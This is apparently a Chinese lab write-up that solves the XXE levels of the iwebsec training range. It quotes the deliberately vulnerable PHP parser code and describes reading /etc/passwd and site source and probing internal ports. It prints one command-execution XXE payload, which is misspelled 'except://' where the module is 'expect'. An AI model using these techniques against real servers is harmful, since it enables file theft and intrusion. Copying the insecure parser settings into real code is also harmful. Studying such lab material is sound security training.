iwebsec靶场xxe关卡通关笔记
XML外部实体注入简称XXE漏洞。XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据,定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义,文档元素。
内部声明是直接在XML文件内部声明的,对于安全人员来说基本没用。
外部声明是引用XML以外的文件,有风险。
外部实体注入可能导致任意文件读取,系统命令执行,内网端口探测,攻击内网网站等等。
第一关
如下所示,通关docker查看xxe目录下的index.php源码,内容如下
<?php
require_once('../header.php');
?>
<html>
<head>
<title>XXE漏洞</title>
</head>
<h2>XXE漏洞</h2>
<div class="alert alert-success">
<p>input xml</p>
</div>
<body>
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
if($xmlfile){
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$username = $creds->username;
$password = $creds->password;
}
else{
exit();
}
?>
<table class='table table-striped'>
<?php
echo 'hello ' . $username;
echo "</table>";
?>
在以上代码中,file_get_contents函数读取php://input传入的参数,但是参数没有经过过滤直接就被loadxml函数中调用并且输出了username值,从而导致XXE漏洞的产生。
由于使用php://input协议传入,故而参数可通过post传递。
基于此利用file://伪协议读取本地文件来加载外部实体(entity),而代码中涉及到变量username和password需要定义在xml参数中,我们在xml中使用element元素声明,如下所示
<!ELEMENT username ANY>
<!ELEMENT password ANY>
由于username最后输出,故而而我们想获取的实体变量使用entiey来加载
(1)获取敏感信息(密码文件)
如果我们想获取/etc/passwd文件,最后post的参数如下所示
效果如下所示
使用post参数将xml传入后,可以获取到系统的/etc/passwd文件
(2)获取根目录源码文件
如果我们想获取当前网站根目录下index.php的源码文件,传入参数如下所示
我们可以获取到index.php在base64编码后的内容,效果如下
使用base64解码进行解码
效果如下所示
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
<title>iwebsec 靶场漏洞库</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="description" content="iwebsec">
<!-- Le styles -->
<link href="./css/bootstrap.css" rel="stylesheet">
<style type="text/css">
body {
padding-top: 60px;
padding-bottom: 40px;
}
</style>
<link href="./css/bootstrap-responsive.css" rel="stylesheet">
</head>
<body>
<div class="navbar navbar-inverse navbar-fixed-top">
<div class="navbar-inner">
<div class="container">
<a class="btn btn-navbar" data-toggle="collapse" data-target=".nav-collapse">
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</a>
<a class="brand" href="http://www.iwebsec.com">iwebsec.com</a>
<div class="nav-collapse collapse">
<ul class="nav">
<li class="active"><a href="/">首页</a></li>
</ul>
</div><!--/.nav-collapse -->
</div>
</div>
</div>
<div class="container">
<div class="hero-unit">
<h1>iwebsec</h1>
<p>此网站中集合了SQL注入、文件包含、命令执行、XXE、反序列化、SSRF、XSS、文件上传等常见的web漏洞环境</p>
<a href="http://iwebsec.com" class="twitter-follow-button" data-show-count="true" data-size="large">Follow @iwebsec</a>
<script>!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src="";fjs.parentNode.insertBefore(js,fjs);}}(document,"script","twitter-wjs");</script>
</div>
<script>
var _hmt = _hmt || [];
(function() {
var hm = document.createElement("script");
hm.src = "https://hm.baidu.com/hm.js?8d47cbee4e5b4661d33f3edc68a1c7f0";
var s = document.getElementsByTagName("script")[0];
s.parentNode.insertBefore(hm, s);
})();
</script>
<!-- Main hero unit for a primary marketing message or call to action -->
<!-- Example row of columns -->
<div class="row">
<div class="span4">
<h2>SQL注入漏洞</h2>
<ul>
<li><a href="sqli/01.php?id=1">01-数字型注入</a></li>
<li><a href="sqli/02.php?id=1">02-字符型注入</a></li>
<li><a href="sqli/03.php?id=1">03-bool注入</a></li>
<li><a href="sqli/04.php?id=1">04-sleep注入</a></li>
<li><a href="sqli/05.php?id=1">05-updatexml注入</a></li>
<li><a href="sqli/06.php?id=1">06-宽字节注入</a></li>
<li><a href="sqli/07.php?id=1">07-空格过滤绕过</a></li>
<li><a href="sqli/08.php?id=1">08-大小写过滤绕过</a></li>
<li><a href="sqli/09.php?id=1">09-双写关键字绕过</a></li>
<li><a href="sqli/10.php?id=1">10-双重url编码绕过</a></li>
<li><a href="sqli/11.php?id=1">11-十六进制绕过</a></li>
<li><a href="sqli/12.php?id=1">12-等价函数替换过滤绕过</a></li>
<li><a href="sqli/13/index.php?id=1">13-二次注入</a></li>
</ul>
</div>
<div class="span4">
<h2>文件上传漏洞</h2>
<ul>
<li><a href="upload/01.php">01-前端JS过滤绕过</a></li>
<li><a href="upload/02.php">02-文件名过滤绕过</a></li>
<li><a href="upload/03.php">03-Content-Type过滤绕过</a></li>
<li><a href="upload/04.php">04-文件头过滤绕过</a></li>
<li><a href="upload/05.php">05-.htaccess文件上传</a></li>
<li><a href="upload/06.php">06-文件截断上传</a></li>
<li><a href="upload/07.php">07-竞争条件文件上传</a></li>
</ul>
</div>
<div class="span4">
<h2>文件包含漏洞</h2>
<ul>
<li><a href="fi/01.php">01-本地文件包含</a></li>
<li><a href="fi/02.php">02-本地文件包含绕过</a></li>
<li><a href="fi/03.php">03-session本地文件包含</a></li>
<li><a href="fi/04.php">04-远程文件包含</a></li>
<li><a href="fi/05.php">05-远程文件包含绕过</a></li>
<li><a href="fi/06.php">06-php://filter伪协议</a></li>
<li><a href="fi/07.php">07-php://input伪协议</a></li>
<li><a href="fi/08.php">08-php://input伪协议利用</a></li>
<li><a href="fi/09.php">09-file://伪协议利用</a></li>
<li><a href="fi/10.php">10-data://伪协议利用</a></li>
</ul>
</div>
</div>
<div class="row">
<div class="span4">
<h2>命令执行漏洞</h2>
<ul>
<li><a href="exec/01.php">01-命令执行漏洞</a></li>
<li><a href="exec/02.php">02-命令执行漏洞空格绕过</a></li>
<li><a href="exec/03.php">03-命令执行漏洞关键命令绕过</a></li>
<li><a href="exec/04.php">04-命令执行漏洞通配符绕过</a></li>
<li><a href="exec/05.php">05-命令执行漏洞base64编码绕过</a></li>
</ul>
</div>
<div class="span4">
<h2>代码执行漏洞</h2>
<ul>
<li><a href="execcode/01.php">01-eval函数示例</a></li>
<li><a href="execcode/02.php">02-assert函数示例</a></li>
<li><a href="execcode/03.php">03-call_user_func函数示例</a></li>
<li><a href="execcode/04.php">04-call_user_func_array函数示例</a></li>
<li><a href="execcode/05.php">05-create_function函数示例</a></li>
<li><a href="execcode/06.php">06-array_map函数示例</a></li>
<li><a href="execcode/07.php">07-preg_replace无漏洞函数示例</a></li>
<li><a href="execcode/08.php">08-preg_replace漏洞函数示例</a></li>
<li><a href="execcode/09.php">09-可变函数漏洞示例01</a></li>
<li><a href="execcode/10.php">10-可变函数漏洞示例02</a></li>
</ul>
</div>
<div class="span4">
<h2>XSS 漏洞</h2>
<ul>
<li><a href="xss/01.php">01-反射型XSS漏洞</a></li>
<li><a href="xss/02.php">02-存储型XSS漏洞</a></li>
<li><a href="xss/03.php">03-DOM XSS漏洞</a></li>
<li><a href="xss/04.php">04-XSS修复示例</a></li>
</ul>
</div>
</div>
<div class="row">
<div class="span4">
<h2>SSRF漏洞</h2>
<ul>
<li><a href="ssrf/index.php">01-SSRF漏洞文件读取</a></li>
<li><a href="ssrf/index.php">02-SSRF漏洞内网探测</a></li>
<li><a href="ssrf/index.php">03-SSRF漏洞内网应用攻击</a></li>
</ul>
</div>
<div class="span4">
<h2>XXE漏洞</h2>
<ul>
<li><a href="xxe/index.php">01-XXE漏洞文件读取</a></li>
<li><a href="xxe/index.php">02-XXE漏洞内网探测</a></li>
<li><a href="xxe/index.php">03-XXE漏洞内网应用攻击</a></li>
</ul>
</div>
<div class="span4">
<h2>反序列化漏洞</h2>
<ul>
<li><a href="unserialize/01/index.php">01-反序列化漏洞示例01</a></li>
<li><a href="unserialize/02/index.php">02-反序列化漏洞示例02</a></li>
</ul>
</div>
</div>
<div class="row">
<div class="span4">
<h2>中间件漏洞</h2>
<ul>
<li><a href="middleware/01.php">01-Weblogic中间件漏洞</a></li>
<li><a href="middleware/02.php">02-Tomcat中间件漏洞</a></li>
<li><a href="middleware/03.php">03-Jboss中间件漏洞</a></li>
</ul>
</div>
<div class="span4">
<h2>解析漏洞</h2>
<ul>
<li><a href="parse/01.php">01-Apache解析漏洞</a></li>
<li><a href="parse/02.php">02-Nginx解析漏洞</a></li>
</ul>
</div>
<div class="span4">
<h2>数据库漏洞</h2>
<ul>
<li><a href="database/01.php">01-MySQL数据库漏洞</a></li>
<li><a href="database/02.php">02-Redis数据库漏洞</a></li>
</ul>
</div>
</div>
<!DOCTYPE html>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<footer>
<b>Copyright(C)2017-2019 <a href="http://www.iwebsec.com" class="hui12" target="_blank">iwebsec 网络安全知识库</a> All Rights Reserved</b>
</footer>
</html>
(3)获取当前xxe目录源码文件
post参数为
访问后如下所示
然后通过base64解码即可查看到源文件。
第二关
利用XXE漏洞进行内网探测,如果端口开启那么请求会很快返回,如果端口关闭那么请求会非常慢。
(1)探测22端口是否开启
payload如下所示
如下所示
我们登录到容器中,通过netstat -ano|grep 22也确认确实打开了22端口
(2)探测23端口是否开启
接下来使用一个不存在服务的端口号23来尝试,如下所示通过 netstat -ano|grep 23可以确认这个端口处于关闭状态
payload如下所示
效果如下所示,提示拒绝连接
第三关
内网应用攻击,这里可以用PHP expect模块被加载到了易受攻击的系统或处理XML的内部应用程序上,就可以执行如下的命令:
<!DOCTYPE creds [
<!ELEMENT username ANY>
<!ELEMENT password ANY>
<!ENTITY xxe SYSTEM "except://id">
]>
<creds>
<username>&xxe;</username>
<password>test</password>
</creds>
利用xxe漏洞可以调用except://伪协议调用系统命令,不过这种需要PHP环境支持except扩展模块被加载,这样就可以利用它执行系统命令了。然而这种情况现在已经比较少见了,更多还是要利用其他漏洞来实现命令或代码执行。
由于 PHP 的 expect 并不是默认安装扩展,如果安装了这个expect 扩展我们就能直接利用 XXE 进行 RCE
如上所示当前iwebsec服务器的except扩展模块这个可执行漏洞并不存在,故而无法通过此XXE漏洞执行命令。
这里要强调一下,XXE EXCEPT可执行漏洞这种情况很少发生,但极少数情况下攻击者能够通过XXE执行代码,这主要是由于配置不当/开发内部应用导致的。需要黑客足够幸运,并且PHP expect模块被加载到了易受攻击的系统或处理XML的内部应用程序上,那么才可以执行命令。虽然iwebsec靶场提供了xxe漏洞,但是他的环境中并不是一个幸运的环境,故无法使用xxe except漏洞进行渗透。